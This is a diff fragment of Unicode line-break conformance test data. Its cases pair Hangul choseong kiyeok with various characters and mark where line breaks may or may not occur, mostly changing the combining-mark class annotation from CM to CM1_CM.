-× 1100 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 1100 × 0308 × 0029 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 1100 × 0308 × 0020 × 0029 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 1100 × 000D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 1100 × 0020 × 000D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 1100 × 0308 × 000D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 1100 × 0308 × 0020 × 000D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 1100 × 0308 × 000D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 1100 × 0308 × 0020 × 000D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 1100 × 0021 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 1100 × 0020 × 0021 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 1100 × 0308 × 0021 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 1100 × 0308 × 0020 × 0021 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 1100 × 0308 × 0021 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 1100 × 0308 × 0020 × 0021 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 1100 × 00A0 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 1100 × 0020 ÷ 00A0 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 1100 × 0308 × 00A0 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 1100 × 0308 × 00A0 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 1100 × AC00 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [26.01] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 1100 × 0020 ÷ AC00 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 1100 × 0308 × AC00 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [26.01] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 1100 × 0308 × AC00 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [26.01] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 1100 × AC01 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [26.01] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 1100 × 0020 ÷ AC01 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 1100 × 0308 × AC01 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [26.01] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 1100 × 0308 × AC01 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [26.01] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 1100 ÷ 05D0 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 1100 × 0020 ÷ 05D0 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 1100 × 0308 ÷ 05D0 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 1100 × 0308 ÷ 05D0 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 1100 × 002D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 1100 × 0020 ÷ 002D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 1100 × 0308 × 002D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 002D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 1100 × 0308 × 002D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 002D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 1100 ÷ 231A ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 1100 × 0020 ÷ 231A ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 1100 × 0308 ÷ 231A ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 231A ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 1100 × 0308 ÷ 231A ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 231A ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 1100 × 2024 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [27.01] ONE DOT LEADER (IN) ÷ [0.3]
× 1100 × 0020 ÷ 2024 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 1100 × 0308 × 2024 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [27.01] ONE DOT LEADER (IN) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 1100 × 0308 × 2024 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [27.01] ONE DOT LEADER (IN) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 1100 × 002C ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [13.02] COMMA (IS) ÷ [0.3]
× 1100 × 0020 × 002C ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 1100 × 0308 × 002C ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 1100 × 0308 × 0020 × 002C ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 1100 × 0308 × 002C ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 1100 × 0308 × 0020 × 002C ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 1100 × 1100 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [26.01] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 1100 × 0020 ÷ 1100 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 1100 × 0308 × 1100 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [26.01] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 1100 × 0308 × 1100 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [26.01] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 1100 ÷ 11A8 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 1100 × 0020 ÷ 11A8 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 1100 × 0308 ÷ 11A8 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 1100 × 0308 ÷ 11A8 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 1100 × 1160 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [26.01] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 1100 × 0020 ÷ 1160 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 1100 × 0308 × 1160 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [26.01] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 1100 × 0308 × 1160 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [26.01] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 1100 × 000A ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 1100 × 0020 × 000A ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 1100 × 0308 × 000A ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 1100 × 0308 × 0020 × 000A ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 1100 × 0308 × 000A ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 1100 × 0308 × 0020 × 000A ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 1100 × 0085 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 1100 × 0020 × 0085 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 1100 × 0308 × 0085 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 1100 × 0308 × 0020 × 0085 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 1100 × 0308 × 0085 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 1100 × 0308 × 0020 × 0085 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 1100 × 17D6 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 1100 × 0020 ÷ 17D6 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 1100 × 0308 × 17D6 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 1100 × 0308 × 17D6 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 1100 ÷ 0030 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
× 1100 × 0020 ÷ 0030 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 1100 × 0308 ÷ 0030 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 1100 × 0308 ÷ 0030 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 1100 ÷ 0028 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 1100 × 0020 ÷ 0028 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 1100 × 0308 ÷ 0028 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 1100 × 0308 ÷ 0028 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 1100 × 0025 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [27.02] PERCENT SIGN (PO) ÷ [0.3]
× 1100 × 0020 ÷ 0025 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 1100 × 0308 × 0025 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [27.02] PERCENT SIGN (PO) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 1100 × 0308 × 0025 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [27.02] PERCENT SIGN (PO) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 1100 ÷ 0024 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
× 1100 × 0020 ÷ 0024 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 1100 × 0308 ÷ 0024 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 1100 × 0308 ÷ 0024 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 1100 × 0022 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 1100 × 0020 ÷ 0022 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 1100 × 0308 × 0022 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 1100 × 0308 × 0022 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 1100 × 0020 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [0.3]
× 1100 × 0020 × 0020 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 1100 × 0308 × 0020 × 0020 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 1100 × 0308 × 0020 × 0020 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 1100 × 002F ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 1100 × 0020 × 002F ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 1100 × 0308 × 002F ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 1100 × 0308 × 0020 × 002F ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
